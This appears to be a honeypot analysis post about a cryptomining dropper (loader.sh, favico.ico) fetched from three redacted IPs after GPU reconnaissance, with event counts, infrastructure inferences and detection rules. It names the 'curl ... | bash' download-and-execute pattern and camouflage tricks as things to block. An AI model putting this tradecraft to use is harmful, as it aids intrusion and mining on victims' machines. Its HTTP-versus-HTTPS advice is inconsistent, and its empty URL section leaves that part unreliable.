Dropper in production:
analysis of loader.sh and the payload that never ran

The three payload URLs

During the analysis period, the honeypot recorded download attempts to exactly three external destinations, all three to a direct IP and unencrypted. Their behavior differs:

The download chain: how it got here

The download attempts did not occur in isolation. They followed the documented GPU hunter pattern: the attacker first runs reconnaissance (lspci, nvidia-smi), and only in sessions where the full sequence completed without errors does the script move on to the payload download phase.

The curl ... | bash pattern is deliberate: it downloads and executes in a single instruction, without writing the script to disk first. This prevents the binary from being left as a forensic artifact on the filesystem.

The 259 execution attempts

The honeypot recorded 259 events of type execution_attempt and 547 file_write events in the window — the downloaded payload is stored in the isolated environment before any attempt to execute it. No execution succeeded.

Event	Count	Result
file_write (payload stored in isolated environment)	547	Success — file recorded
execution_attempt (attempt to run the payload)	259	Execution blocked — no code executed
Bytes executed on the real host	0	The honeypot never executes external code

What the dropper's infrastructure reveals

All three URLs point to direct IPs, with no domain and unencrypted. That combination points to an operation built on ephemeral infrastructure. Some inferences:

• Three direct IPs, no domain: all three URLs point to a literal IP, not a name. This avoids DNS resolution — no DNS logs, no blocking by domain reputation. They are cheap stage servers, replaceable if blocked.
• Hosting redundancy: loader.sh and favico.ico served exactly the same payload (684 bytes) from two distinct IPs. It is deliberate resilience: if one goes down, the other keeps distributing.
• All three unencrypted HTTP: the payload travels in the clear. This makes it possible to capture it in transit with a proxy or a content-inspecting IDS — but it also indicates the operators assume a short distribution window before rotating.
• Decoy names and high ports: favico.ico mimics a favicon and is served on port 1987; loader.sh and mot use short, opaque names. Basic camouflage to go unnoticed in proxy logs.

Relationship with the GPU hunter campaign

The sessions with download attempts are a subset of the GPU hunter sessions. The dropper only activates when the hardware reconnaissance returns a positive result — confirming that the campaign is optimizing the ratio of useful infections to total attempts.

In economic terms: downloading the payload has a cost (traffic, exposure of the dropper URL). The prior reconnaissance ensures that this cost is only incurred on machines with a GPU — the only ones that justify installing XMRig.

Detection and containment

The detection signals for this phase are more specific than those for the GPU hunter:

• Block the curl ... | bash and wget ... | sh patterns: no legitimate maintenance script needs to download and execute in a single instruction during an SSH session.
• Monitor outbound HTTPS connections to direct IPs: hxxps://1[.]2[.]3[.]4/path — no hostname, just an IP — is a dropper signature. The egress firewall should block HTTPS to IPs that have no known reverse DNS entry.
• Alert on writes to /tmp followed by execution: the write-then-execute pattern in temporary directories is the dropper's forensic signature. auditd with rules on execve in /tmp/* paths catches it.
• Add the IOCs to your block lists: the three IPs from this campaign (151.242.[REDACTED].40, 197.255.[REDACTED].88, 31.172.[REDACTED].45) are real artifacts. Add them to your filtering proxy and egress rules to neutralize the download before it happens.

Data collected for cybersecurity research purposes. All information comes from unsolicited activity recorded on our own infrastructure.